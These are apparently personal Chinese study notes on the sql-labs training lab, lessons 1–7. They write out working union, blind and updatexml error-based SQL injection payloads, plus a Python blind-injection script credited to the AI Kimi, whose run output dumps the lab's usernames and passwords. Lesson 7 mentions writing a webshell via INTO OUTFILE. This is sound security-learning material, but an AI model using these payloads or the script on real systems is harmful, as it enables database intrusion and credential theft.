note-01

sql-labs 学习笔记

sql-labs less-1

字符型
sql注入后端代码(编的)

1
select * from users where id='$get_id'

在url中直接使用’#’会被url解析,导致传入服务器的不为’#’所以使用‘- - +’

1
2
?id=1'
//看能否判断sql注入类型

拼入sql查询

1
select * from users where id='1''

回显:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’1’’ LIMIT 0,1’ at line 1

KIMI:

这个错误信息表明你的SQL语句中存在语法问题,具体问题出现在’1’附近,可能是因为SQL语句的拼接方式不正确,或者某些部分的格式不符合MySQL的语法规则。
从错误信息来看,问题可能出在以下几个方面:

单引号的使用:错误信息中提到’1’,这表明SQL语句中可能有多余的单引号,或者单引号的使用方式不正确。

LIMIT子句的格式:LIMIT 0,1是正确的语法,但错误信息表明它可能与前面的语句拼接不当。

注入攻击:如果’1’是用户输入的一部分,那么这可能是SQL注入攻击的迹象。

LIMIT 0,1 是 SQL 语句中用于限制查询结果数量的子句,特别是在 MySQL 数据库中。
它的作用是从查询结果中提取指定范围的记录。具体来说,LIMIT 0,1 的含义如下:

1
2
3
4
语法格式:
LIMIT offset, count
offset:表示从结果集的第几条记录开始提取(从 0 开始计数)。
count:表示提取的记录数量。

回显有数字判断为字符型

记得用‘-1’来使得前面对‘-1’的查询出现null的结果免得使用‘1’查询出的结果会将后面的查询覆盖,由刚才的:

1
2
3
4
LIMIT 0,1
0:表示从结果集的第一条记录开始(即跳过 0 条记录)。
1:表示只提取一条记录。
因此,LIMIT 0,1 的作用是从查询结果中提取第一条记录。

测试回显行列

1
2
3
?id=-1'order by 4 --+

?id=-1'union select 1,2,3 --+

查询当前库

1
?id=-1'union select 1,2,database() --+

后面的paylaod

1
2
3
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1'union select 1,2,group_concat(id,username,password) from users --+

在博客园和csdn有很多详细解释,只记下自己不明白去查询的点以防以后忘记

我的新知识点

group_concat //将查询到的表的数据结果拼接起来

union select //联合查询,能将同时查询 1,2,3 个

information_schema //在SQL中,INFORMATION_SCHEMA 是一个特殊的数据库,它存储了数据库管理系统(DBMS)的元数据信息。这些元数据包括数据库的结构、表的信息、列的定义、用户权限、存储过程等。

INFORMATION_SCHEMA 提供了一种标准化的方式来访问数据库的元数据信息。它类似于一个“数据库的数据库”,帮助用户了解数据库的内部结构和配置。通过查询 INFORMATION_SCHEMA 中的表,用户可以获取以下信息:

数据库中有哪些表(INFORMATION_SCHEMA.TABLES)。

每个表有哪些列(INFORMATION_SCHEMA.COLUMNS)。

数据库的用户权限(INFORMATION_SCHEMA.USER_PRIVILEGES)。

数据库的字符集和校对规则(INFORMATION_SCHEMA.CHARACTER_SETS)。

存储过程和函数的定义(INFORMATION_SCHEMA.ROUTINES)。

数据库的表分区信息(INFORMATION_SCHEMA.PARTITIONS)。

数据库的外键约束信息(INFORMATION_SCHEMA.KEY_COLUMN_USAGE)。

我看我目前用到的是下面:

(1) INFORMATION_SCHEMA.TABLES
用途:列出数据库中所有表的信息。
字段:
table_schema:表所属的数据库名称。
table_name:表的名称。
table_type:表的类型(如 BASE TABLE 或 VIEW)。
engine:表的存储引擎(如 InnoDB 或 MyISAM)。

(2) INFORMATION_SCHEMA.COLUMNS
用途:列出表中所有列的详细信息。
字段:
table_schema:表所属的数据库名称。
table_name:表的名称。
column_name:列的名称。
data_type:列的数据类型
character_maximum_length:列的最大长度。

搭配 where 来使用

回顾刚才的payload

1
2
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

less-2

新知识点

数字型注入的sql语句

后端代码 例

1
2
"selcet * from users where id=$get_id"

与字符型的区别是将用户输入内容:

1
$get_id

直接拼接到sql语句中。

对比字符型sql语句

1
select * from users where id='$get_id'

所以不需要使用 “ ‘ “ 来构建新的查询,也不需要 ‘#’ 或者 ‘–+’来将后面的语句注释掉,如果带密码则需要注释吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users


---
title: note-02
date: 2025-02-27 18:26:18
tags: sql-labs
---
# sql-labs less-3

传入:

?id=1’

1
2
3
4
回显
>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''-1'') LIMIT 0,1' at line 1

根据csdn和题目的提示,推测sql查询语句

select * from users where id=(‘$id’)

1
所以当传入payload为

?id=1’) –+

1
整段sql查询语句为:

select * from users where $id=(‘1’)–+)

1
2
3
4
如此一来成功闭合sql查询,后面就按流程走ok了

## 新知识点
***并和括号***

select * from users where id=(‘$id’)

1
2
3
4
5
6

# sql-labs less-4

一开始也不知道有用双引号来构造的,然后还是看了csdn😅

传入:

?id=1”)

1
2
3
4
5
6
回显:

> You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '") LIMIT 0,1' at line 1


推测后台sql语句:

select * from users where id=(“$id”)

1
2
3
  
后面的paylaod:

?id=-1”) union select 1,2,3 –+
?id=-1”) union select 1,database(),3 –+
?id=-1”) union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=’security’–+
?id=-1”) union select 1,database(),group_concat(column_name) from information_schema.columns where table_name=’users’–+
?id=-1”) union select 1,database(),group_concat(id,username,password) from users–+

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

## 新知识点
***双引号***

用双引号来 " 来闭合语句




---
title: note-03
date: 2025-02-28 20:48:34
tags: sql-labs
---
<style>
pre {
overflow-y: auto;
max-height: 300px;
}
</style>

# sql-labs less5
输入payload
>?id=1
>?id=2

回显
>You are in...........

>You are in...........

视乎是没有回显。根据以前一点点ctf的经验,应该是布尔盲注了,没想到第五题就遇上了。

尝试构建sql注入的paylaod
>?id=1'

回显
>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

推测后端语句可能为

select * from users where id=’$get_id’

1
2
3
4
5
6
7
8
9
10
11

然后看csdn

看到两种解法,经典的是基于时间的布尔盲注,新的是基于xml报错回显的注入

## 布尔盲注
原理是用sql中的

>and if

返回的布尔值(true,false)然后用if()设置不同的反应,根据反应来判断布尔的值来判断注入查询的数据是否存在吧

length函数用法
后端语句:
select length(); – 返回length里的字节或字符长度

1
2
3
length函数:

KIMI:

MySQL:LENGTH 返回字节长度,CHAR_LENGTH 返回字符长度。
PostgreSQL:LENGTH 返回字符长度。
SQLite:LENGTH 返回字节长度。
SQL Server:LEN 返回字符长度。
Oracle:LENGTH 返回字节长度,LENGTHC 返回字符长度。

PostgreSQL/SQLite/Oracle:使用 CASE 语句。

SQL Server:使用 CASE 语句或 IF…ELSE 语句。

1
2
3
4
5

sql中if()语句的用法:

KIMI:

MySQL:IF(expr, true_expr, false_expr)
SELECT IF(1 > 0, ‘True’, ‘False’); – 返回 ‘True’
SELECT IF(1 < 0, ‘True’, ‘False’); – 返回 ‘False’

PostgreSQL/SQLite/Oracle:使用 CASE 语句。

SQL Server:使用 CASE 语句或 IF…ELSE 语句。

1
2
3
4
5
6
7
8
9
  
看csdn上,可以用length根据是否有You are in...........来判断;

也能用and if sleep的时间延迟来判断;

根据前几题大概知道数据库名称为'security'8个字符;

payload:

?id=1’ and if(length(database())=8,sleep(5),1)–+

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


payload的逻辑是先用length判断当前所在数据库的名字长度,
>如果猜对为8,则让回显延迟5秒,此时因为使用了andand的右边无法满足布尔值为真,所以不会有回显
什么也没有回显,说明猜测字符长度正确;

>如果猜测错误,则会使得if返回1,让and的两边满足全为真,使得服务器返回‘you are in......’

其中用到了if函数和sleep函数,
sleep()函数是让回显延迟指定的时间吧;

回到payload

按照我们设置的延迟可确认确实为8个字符,也就是'security'

试了一下

id=1' and if(length(database())='security',sleep(5),1)--+id=1' and if(length(database())='security',sleep(5),1)--+

问了kimi,原来是length()函数只会返回整型数值,而我要用它来对比字符串😅

**然后是substr()函数**

SUBSTR(string, start, length)

string:原始字符串。
start:子字符串的起始位置(从 1 开始计数)。
length:要提取的子字符串的长度。

1
2

ascii()

ASCII(character_expression)

character_expression:可以是单个字符、字符串字面值或列名。该参数必须是字符类型(如 CHAR 或 VARCHAR)。

1
2
3
一定要转成ascii吗?  
试了一下

?id=1’ and if(substr(database(),1,1)=’s’,sleep(5),1)–+

?id=1’ and if(substr(database(),1,8)=’security’,sleep(5),1)–+

1
2
3
4
5
6
7
确实能直接猜测字符了!

如果有python脚本的话......
k:有的兄弟,有的

KIMI:

import requests
//配置
TARGET_URL = “http://localhost:32768/Less-5/“ // 目标URL
TRUE_STRING = “You are in………..” // 数据库判断成功的响应标志
CHARSET = “abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_@$!” // 测试字符集
HEADERS = {
“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3”
}

//发送请求
def send_payload(payload):
url = f”{TARGET_URL}?id=1’ AND {payload} –+”
response = requests.get(url, headers=HEADERS)
return response.text
// 获取长度
def get_length(query):
length = 0
while True:
payload = f”LENGTH({query})={length}”
response = send_payload(payload)
if TRUE_STRING in response:
print(f”[+] 长度为: {length}”)
return length
length += 1
// 逐字符获取字符串
def get_string(query, length):
result = “”
for i in range(1, length + 1):
print(f”[+] 获取第 {i} 个字符…”)
for char in CHARSET:
payload = f”SUBSTR({query},{i},1)=’{char}’”
response = send_payload(payload)
if TRUE_STRING in response:
result += char
print(f”[+] 当前结果: {result}”)
break
return result

// 主函数
def main():
// 获取数据库名
db_length = get_length(“DATABASE()”)
db_name = get_string(“DATABASE()”, db_length)
print(f”[+] 数据库名: {db_name}”)

// 获取表名
table_count = 0
while True:
    payload = f"(SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=DATABASE())={table_count}"
    response = send_payload(payload)
    if TRUE_STRING in response:
        break
    table_count += 1
print(f"[+] 表数量: {table_count}")

// 获取所有表名
table_names = []
for i in range(table_count):
    tbl_length = get_length(f"(SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT {i},1)")
    tbl_name = get_string(f"(SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT {i},1)", tbl_length)
    table_names.append(tbl_name)
    print(f"[+] 表名: {tbl_name}")

// 获取字段名(以users表为例)
target_table = "users"  // 替换为目标表名
print(f"[+] 获取{target_table}表的字段...")
field_count = 0
while True:
    payload = f"(SELECT COUNT(*) FROM information_schema.columns WHERE table_name='{target_table}' AND table_schema=DATABASE())={field_count}"
    response = send_payload(payload)
    if TRUE_STRING in response:
        break
    field_count += 1
print(f"[+] 字段数量: {field_count}")

// 获取字段名
field_names = []
for i in range(field_count):
    fld_length = get_length(f"(SELECT COLUMN_NAME FROM information_schema.columns WHERE table_name='{target_table}' AND table_schema=DATABASE() LIMIT {i},1)")
    fld_name = get_string(f"(SELECT COLUMN_NAME FROM information_schema.columns WHERE table_name='{target_table}' AND table_schema=DATABASE() LIMIT {i},1)", fld_length)
    field_names.append(fld_name)
    print(f"[+] 字段名: {fld_name}")

// 获取数据
print(f"[+] 获取{target_table}表的数据...")
for i in range(field_count):
    if field_names[i] in ["username", "password"]:  // 获取用户名和密码字段
        print(f"[+] 获取字段: {field_names[i]}")
        data_count = 0
        while True:
            payload = f"(SELECT COUNT(*) FROM {target_table})={data_count}"
            response = send_payload(payload)
            if TRUE_STRING in response:
                break
            data_count += 1
        print(f"[+] 数据条数: {data_count}")

        for j in range(data_count):
            data_length = get_length(f"(SELECT {field_names[i]} FROM {target_table} LIMIT {j},1)")
            data = get_string(f"(SELECT {field_names[i]} FROM {target_table} LIMIT {j},1)", data_length)
            print(f"[+] 数据[{j+1}]: {data}")

if name == “main“:
main()

1
2
3

这是直接猜测字符而不猜测其ascii码的
改了一下

sr = string.printable
CHARSET = sr //“abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_@$!” // 测试字符集

1
2
3
4
5
因为我也不敢确定ai给出的字符是完整且编码正确的  

恕我只是个脚本小子,能学懂原理先吧

运行结果

[+] 长度为: 8
[+] 获取第 1 个字符…
[+] 当前结果: s
[+] 获取第 2 个字符…
[+] 当前结果: se
[+] 获取第 3 个字符…
[+] 当前结果: sec
[+] 获取第 4 个字符…
[+] 当前结果: secu
[+] 获取第 5 个字符…
[+] 当前结果: secur
[+] 获取第 6 个字符…
[+] 当前结果: securi
[+] 获取第 7 个字符…
[+] 当前结果: securit
[+] 获取第 8 个字符…
[+] 当前结果: security
[+] 数据库名: security
[+] 表数量: 4
[+] 长度为: 6
[+] 获取第 1 个字符…
[+] 当前结果: e
[+] 获取第 2 个字符…
[+] 当前结果: em
[+] 获取第 3 个字符…
[+] 当前结果: ema
[+] 获取第 4 个字符…
[+] 当前结果: emai
[+] 获取第 5 个字符…
[+] 当前结果: email
[+] 获取第 6 个字符…
[+] 当前结果: emails
[+] 表名: emails
[+] 长度为: 8
[+] 获取第 1 个字符…
[+] 当前结果: r
[+] 获取第 2 个字符…
[+] 当前结果: re
[+] 获取第 3 个字符…
[+] 当前结果: ref
[+] 获取第 4 个字符…
[+] 当前结果: refe
[+] 获取第 5 个字符…
[+] 当前结果: refer
[+] 获取第 6 个字符…
[+] 当前结果: refere
[+] 获取第 7 个字符…
[+] 当前结果: referer
[+] 获取第 8 个字符…
[+] 当前结果: referers
[+] 表名: referers
[+] 长度为: 7
[+] 获取第 1 个字符…
[+] 当前结果: u
[+] 获取第 2 个字符…
[+] 当前结果: ua
[+] 获取第 3 个字符…
[+] 当前结果: uag
[+] 获取第 4 个字符…
[+] 当前结果: uage
[+] 获取第 5 个字符…
[+] 当前结果: uagen
[+] 获取第 6 个字符…
[+] 当前结果: uagent
[+] 获取第 7 个字符…
[+] 当前结果: uagents
[+] 表名: uagents
[+] 长度为: 5
[+] 获取第 1 个字符…
[+] 当前结果: u
[+] 获取第 2 个字符…
[+] 当前结果: us
[+] 获取第 3 个字符…
[+] 当前结果: use
[+] 获取第 4 个字符…
[+] 当前结果: user
[+] 获取第 5 个字符…
[+] 当前结果: users
[+] 表名: users
[+] 获取users表的字段…
[+] 字段数量: 3
[+] 长度为: 2
[+] 获取第 1 个字符…
[+] 当前结果: i
[+] 获取第 2 个字符…
[+] 当前结果: id
[+] 字段名: id
[+] 长度为: 8
[+] 获取第 1 个字符…
[+] 当前结果: u
[+] 获取第 2 个字符…
[+] 当前结果: us
[+] 获取第 3 个字符…
[+] 当前结果: use
[+] 获取第 4 个字符…
[+] 当前结果: user
[+] 获取第 5 个字符…
[+] 当前结果: usern
[+] 获取第 6 个字符…
[+] 当前结果: userna
[+] 获取第 7 个字符…
[+] 当前结果: usernam
[+] 获取第 8 个字符…
[+] 当前结果: username
[+] 字段名: username
[+] 长度为: 8
[+] 获取第 1 个字符…
[+] 当前结果: p
[+] 获取第 2 个字符…
[+] 当前结果: pa
[+] 获取第 3 个字符…
[+] 当前结果: pas
[+] 获取第 4 个字符…
[+] 当前结果: pass
[+] 获取第 5 个字符…
[+] 当前结果: passw
[+] 获取第 6 个字符…
[+] 当前结果: passwo
[+] 获取第 7 个字符…
[+] 当前结果: passwor
[+] 获取第 8 个字符…
[+] 当前结果: password
[+] 字段名: password
[+] 获取users表的数据…
[+] 获取字段: username
[+] 数据条数: 13
[+] 长度为: 4
[+] 获取第 1 个字符…
[+] 当前结果: d
[+] 获取第 2 个字符…
[+] 当前结果: du
[+] 获取第 3 个字符…
[+] 当前结果: dum
[+] 获取第 4 个字符…
[+] 当前结果: dumb
[+] 数据[1]: dumb
[+] 长度为: 8
[+] 获取第 1 个字符…
[+] 当前结果: a
[+] 获取第 2 个字符…
[+] 当前结果: an
[+] 获取第 3 个字符…
[+] 当前结果: ang
[+] 获取第 4 个字符…
[+] 当前结果: ange
[+] 获取第 5 个字符…
[+] 当前结果: angel
[+] 获取第 6 个字符…
[+] 当前结果: angeli
[+] 获取第 7 个字符…
[+] 当前结果: angelin
[+] 获取第 8 个字符…
[+] 当前结果: angelina
[+] 数据[2]: angelina
[+] 长度为: 5
[+] 获取第 1 个字符…
[+] 当前结果: d
[+] 获取第 2 个字符…
[+] 当前结果: du
[+] 获取第 3 个字符…
[+] 当前结果: dum
[+] 获取第 4 个字符…
[+] 当前结果: dumm
[+] 获取第 5 个字符…
[+] 当前结果: dummy
[+] 数据[3]: dummy
[+] 长度为: 6
[+] 获取第 1 个字符…
[+] 当前结果: s
[+] 获取第 2 个字符…
[+] 当前结果: se
[+] 获取第 3 个字符…
[+] 当前结果: sec
[+] 获取第 4 个字符…
[+] 当前结果: secu
[+] 获取第 5 个字符…
[+] 当前结果: secur
[+] 获取第 6 个字符…
[+] 当前结果: secure
[+] 数据[4]: secure
[+] 长度为: 6
[+] 获取第 1 个字符…
[+] 当前结果: s
[+] 获取第 2 个字符…
[+] 当前结果: st
[+] 获取第 3 个字符…
[+] 当前结果: stu
[+] 获取第 4 个字符…
[+] 当前结果: stup
[+] 获取第 5 个字符…
[+] 当前结果: stupi
[+] 获取第 6 个字符…
[+] 当前结果: stupid
[+] 数据[5]: stupid
[+] 长度为: 8
[+] 获取第 1 个字符…
[+] 当前结果: s
[+] 获取第 2 个字符…
[+] 当前结果: su
[+] 获取第 3 个字符…
[+] 当前结果: sup
[+] 获取第 4 个字符…
[+] 当前结果: supe
[+] 获取第 5 个字符…
[+] 当前结果: super
[+] 获取第 6 个字符…
[+] 当前结果: superm
[+] 获取第 7 个字符…
[+] 当前结果: superma
[+] 获取第 8 个字符…
[+] 当前结果: superman
[+] 数据[6]: superman
[+] 长度为: 6
[+] 获取第 1 个字符…
[+] 当前结果: b
[+] 获取第 2 个字符…
[+] 当前结果: ba
[+] 获取第 3 个字符…
[+] 当前结果: bat
[+] 获取第 4 个字符…
[+] 当前结果: batm
[+] 获取第 5 个字符…
[+] 当前结果: batma
[+] 获取第 6 个字符…
[+] 当前结果: batman
[+] 数据[7]: batman
[+] 长度为: 5
[+] 获取第 1 个字符…
[+] 当前结果: a
[+] 获取第 2 个字符…
[+] 当前结果: ad
[+] 获取第 3 个字符…
[+] 当前结果: adm
[+] 获取第 4 个字符…
[+] 当前结果: admi
[+] 获取第 5 个字符…
[+] 当前结果: admin
[+] 数据[8]: admin
[+] 长度为: 6
[+] 获取第 1 个字符…
[+] 当前结果: a
[+] 获取第 2 个字符…
[+] 当前结果: ad
[+] 获取第 3 个字符…
[+] 当前结果: adm
[+] 获取第 4 个字符…
[+] 当前结果: admi
[+] 获取第 5 个字符…
[+] 当前结果: admin
[+] 获取第 6 个字符…
[+] 当前结果: admin1
[+] 数据[9]: admin1
[+] 长度为: 6
[+] 获取第 1 个字符…
[+] 当前结果: a
[+] 获取第 2 个字符…
[+] 当前结果: ad
[+] 获取第 3 个字符…
[+] 当前结果: adm
[+] 获取第 4 个字符…
[+] 当前结果: admi
[+] 获取第 5 个字符…
[+] 当前结果: admin
[+] 获取第 6 个字符…
[+] 当前结果: admin2
[+] 数据[10]: admin2
[+] 长度为: 6
[+] 获取第 1 个字符…
[+] 当前结果: a
[+] 获取第 2 个字符…
[+] 当前结果: ad
[+] 获取第 3 个字符…
[+] 当前结果: adm
[+] 获取第 4 个字符…
[+] 当前结果: admi
[+] 获取第 5 个字符…
[+] 当前结果: admin
[+] 获取第 6 个字符…
[+] 当前结果: admin3
[+] 数据[11]: admin3
[+] 长度为: 7
[+] 获取第 1 个字符…
[+] 当前结果: d
[+] 获取第 2 个字符…
[+] 当前结果: dh
[+] 获取第 3 个字符…
[+] 当前结果: dha
[+] 获取第 4 个字符…
[+] 当前结果: dhak
[+] 获取第 5 个字符…
[+] 当前结果: dhakk
[+] 获取第 6 个字符…
[+] 当前结果: dhakka
[+] 获取第 7 个字符…
[+] 当前结果: dhakkan
[+] 数据[12]: dhakkan
[+] 长度为: 6
[+] 获取第 1 个字符…
[+] 当前结果: a
[+] 获取第 2 个字符…
[+] 当前结果: ad
[+] 获取第 3 个字符…
[+] 当前结果: adm
[+] 获取第 4 个字符…
[+] 当前结果: admi
[+] 获取第 5 个字符…
[+] 当前结果: admin
[+] 获取第 6 个字符…
[+] 当前结果: admin4
[+] 数据[13]: admin4
[+] 获取字段: password
[+] 数据条数: 13
[+] 长度为: 4
[+] 获取第 1 个字符…
[+] 当前结果: d
[+] 获取第 2 个字符…
[+] 当前结果: du
[+] 获取第 3 个字符…
[+] 当前结果: dum
[+] 获取第 4 个字符…
[+] 当前结果: dumb
[+] 数据[1]: dumb
[+] 长度为: 10
[+] 获取第 1 个字符…
[+] 当前结果: i
[+] 获取第 2 个字符…
[+] 当前结果: i-
[+] 获取第 3 个字符…
[+] 当前结果: i-k
[+] 获取第 4 个字符…
[+] 当前结果: i-ki
[+] 获取第 5 个字符…
[+] 当前结果: i-kil
[+] 获取第 6 个字符…
[+] 当前结果: i-kill
[+] 获取第 7 个字符…
[+] 当前结果: i-kill-
[+] 获取第 8 个字符…
[+] 当前结果: i-kill-y
[+] 获取第 9 个字符…
[+] 当前结果: i-kill-yo
[+] 获取第 10 个字符…
[+] 当前结果: i-kill-you
[+] 数据[2]: i-kill-you
[+] 长度为: 8
[+] 获取第 1 个字符…
[+] 当前结果: p
[+] 获取第 2 个字符…
[+] 当前结果: p@
[+] 获取第 3 个字符…
[+] 当前结果: p@s
[+] 获取第 4 个字符…
[+] 当前结果: p@ss
[+] 获取第 5 个字符…
[+] 当前结果: p@ssw
[+] 获取第 6 个字符…
[+] 当前结果: p@sswo
[+] 获取第 7 个字符…
[+] 当前结果: p@sswor
[+] 获取第 8 个字符…
[+] 当前结果: p@ssword
[+] 数据[3]: p@ssword
[+] 长度为: 6
[+] 获取第 1 个字符…
[+] 当前结果: c
[+] 获取第 2 个字符…
[+] 当前结果: cr
[+] 获取第 3 个字符…
[+] 当前结果: cra
[+] 获取第 4 个字符…
[+] 当前结果: crap
[+] 获取第 5 个字符…
[+] 当前结果: crapp
[+] 获取第 6 个字符…
[+] 当前结果: crappy
[+] 数据[4]: crappy
[+] 长度为: 9
[+] 获取第 1 个字符…
[+] 当前结果: s
[+] 获取第 2 个字符…
[+] 当前结果: st
[+] 获取第 3 个字符…
[+] 当前结果: stu
[+] 获取第 4 个字符…
[+] 当前结果: stup
[+] 获取第 5 个字符…
[+] 当前结果: stupi
[+] 获取第 6 个字符…
[+] 当前结果: stupid
[+] 获取第 7 个字符…
[+] 当前结果: stupidi
[+] 获取第 8 个字符…
[+] 当前结果: stupidit
[+] 获取第 9 个字符…
[+] 当前结果: stupidity
[+] 数据[5]: stupidity
[+] 长度为: 7
[+] 获取第 1 个字符…
[+] 当前结果: g
[+] 获取第 2 个字符…
[+] 当前结果: ge
[+] 获取第 3 个字符…
[+] 当前结果: gen
[+] 获取第 4 个字符…
[+] 当前结果: geni
[+] 获取第 5 个字符…
[+] 当前结果: genio
[+] 获取第 6 个字符…
[+] 当前结果: geniou
[+] 获取第 7 个字符…
[+] 当前结果: genious
[+] 数据[6]: genious
[+] 长度为: 6
[+] 获取第 1 个字符…
[+] 当前结果: m
[+] 获取第 2 个字符…
[+] 当前结果: mo
[+] 获取第 3 个字符…
[+] 当前结果: mob
[+] 获取第 4 个字符…
[+] 当前结果: mob!
[+] 获取第 5 个字符…
[+] 当前结果: mob!l
[+] 获取第 6 个字符…
[+] 当前结果: mob!le
[+] 数据[7]: mob!le
[+] 长度为: 5
[+] 获取第 1 个字符…
[+] 当前结果: a
[+] 获取第 2 个字符…
[+] 当前结果: ad
[+] 获取第 3 个字符…
[+] 当前结果: adm
[+] 获取第 4 个字符…
[+] 当前结果: admi
[+] 获取第 5 个字符…
[+] 当前结果: admin
[+] 数据[8]: admin
[+] 长度为: 6
[+] 获取第 1 个字符…
[+] 当前结果: a
[+] 获取第 2 个字符…
[+] 当前结果: ad
[+] 获取第 3 个字符…
[+] 当前结果: adm
[+] 获取第 4 个字符…
[+] 当前结果: admi
[+] 获取第 5 个字符…
[+] 当前结果: admin
[+] 获取第 6 个字符…
[+] 当前结果: admin1
[+] 数据[9]: admin1
[+] 长度为: 6
[+] 获取第 1 个字符…
[+] 当前结果: a
[+] 获取第 2 个字符…
[+] 当前结果: ad
[+] 获取第 3 个字符…
[+] 当前结果: adm
[+] 获取第 4 个字符…
[+] 当前结果: admi
[+] 获取第 5 个字符…
[+] 当前结果: admin
[+] 获取第 6 个字符…
[+] 当前结果: admin2
[+] 数据[10]: admin2
[+] 长度为: 6
[+] 获取第 1 个字符…
[+] 当前结果: a
[+] 获取第 2 个字符…
[+] 当前结果: ad
[+] 获取第 3 个字符…
[+] 当前结果: adm
[+] 获取第 4 个字符…
[+] 当前结果: admi
[+] 获取第 5 个字符…
[+] 当前结果: admin
[+] 获取第 6 个字符…
[+] 当前结果: admin3
[+] 数据[11]: admin3
[+] 长度为: 5
[+] 获取第 1 个字符…
[+] 当前结果: d
[+] 获取第 2 个字符…
[+] 当前结果: du
[+] 获取第 3 个字符…
[+] 当前结果: dum
[+] 获取第 4 个字符…
[+] 当前结果: dumb
[+] 获取第 5 个字符…
[+] 当前结果: dumbo
[+] 数据[12]: dumbo
[+] 长度为: 6
[+] 获取第 1 个字符…
[+] 当前结果: a
[+] 获取第 2 个字符…
[+] 当前结果: ad
[+] 获取第 3 个字符…
[+] 当前结果: adm
[+] 获取第 4 个字符…
[+] 当前结果: admi
[+] 获取第 5 个字符…
[+] 当前结果: admin
[+] 获取第 6 个字符…
[+] 当前结果: admin4
[+] 数据[13]: admin4

1
2
3
### bp盲注爆破
csdn上看到可以直接不用写脚本直接用bp看返回长度来爆破的
看来也可以不用if函数来构造payload

?id=1’and substr(database(),1,1) =’s’–+

1
2
3
4
5
6
7
8
9
10
11
能达到同样效果

bp爆破的话payload设置的前后和循序有点难搞,但是原理知道了可以一次一次慢慢试;

## xml报错注入

前提是在有sql报错信息输出的前提下(存在print_r(mysql_error())函数)

在高版本MySQL(5.1)中添加了对xml文档进行查询和修改的函数

update函数:

UPDATEXML(xml_target, xpath_expr, new_xml)

xml_target:要更新的XML文档。
xpath_expr:XPath表达式,用于定位需要更新的节点。
new_xml:新的XML片段或值,用于替换目标节点的值。

1
extractvalue函数:

EXTRACTVALUE(xml_target, xpath_expr)

1
2
3
4
5
6
7
8
9
原理是用xpath的非法字符报错
KIMI:
>updatexml()和extractvalue()函数在处理XML数据时,会使用XPath表达式来定位或提取节点。如果XPath表达式不符合语法规范,MySQL会返回错误信息。攻击者可以利用这一特性,通过拼接恶意的XPath表达式,使数据库报错,并在错误信息中泄露敏感数据。

流程:

1.判断闭合点
2.判断是否存在xml报错注入:
使用**updatexml**

?id=1’ and updatexml(1,0x7e,1) –+
0x7e 是 ~ 的16进制表示,用来进行绕过,字符串替换成十六进制数有一定的绕过作用

1
2
3
4
5
成功回显
> XPATH syntax error: '~'

说明存在报错注入

?id=1’ and updatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1) –+

1
2
3
4
5
6
7
8
9
10
>爆库名

***note***

concat和group_concat有什么区别,问了kimi,
***我总结就是concat用来拼接字符串,group_concat用来拼接表中的内容***

然后就是走注入流程

爆表名

?id=1’and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)–+

1
2
3
>XPATH syntax error: '~emails,referers,uagents,users~'  

爆字段

?id=1’and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=’users’),0x7e),1)–+

1
2
3
>XPATH syntax error: '~id,username,password~'

爆表

http://localhost:32768/Less-5/?id=1%27and%20updatexml(1,concat(0x7e,(select%20group_concat(id,username,password)from%20users),0x7e),1)--+

1
2
3
>XPATH syntax error: '~1DumbDumb,2AngelinaI-kill-you,3'  

发现回显不完全,听说xpath报错有长度限制,改为:

?id=1’and updatexml(1,concat(0x7e,(select group_concat(id,username,password)from users limit 0,1),0x7e),1)–+

1
2
3
4
发现limit的值改变了依然没结果,看了眼csdn,发现group_concat要改为concat
问了kimi,limit是限制输出的行在哪,如(0,1)就会限制为从第一行开始提取一列,但是用group_concat,会将一整个表整合为一行,限制就没用了。

最后payload改为

?id=1’and updatexml(1,concat(0x7e,(select concat(id,username,password) from users limit 0,1),0x7e),1)–+

1
2
3

成功,只要一条条爆出users表中内容就行了。

sql-labs less6

和less5原理一样

1
select * from users where id="$get_id"

闭合payload改为

1
?id=1"

即可


title: note-04
date: 2025-03-02 16:20:58
tags: sql-labs

less7

需要先设置mysql的文件读写权限:

Windows的配置文件在mysql下的my.ini
Linux的配置文件在/etc/conf

怎么找也找不到,最后问了卡密,在/etc/mysql中找到了;
但是还是没法写马;
docker环境现在还没搞懂,以后有机会再在其它环境下再部署sql-labs试试;

看网上的解法写点笔记:

先判断注入类型,没有sql错误回显的情况就不断猜测闭合语句,能正确闭合不报错就表示闭合成功

因为用 ‘ 打破’’闭合但是没用猜对全部闭合的话会一直提示sql语法错误,能完成闭合并且并且不报错就为完全猜对。

1
?id=1')) --+

然后用联合查询
select搭配into outfile能写入数据
大概是select能查询数据,into outfile能写入数据
union select 1,user(),database() into outfile “路径”
能写入:
1,当前用户,数据库名称

url 中反斜杠\会被当作转义字符处理所以要用两个反斜杠来传入

写马

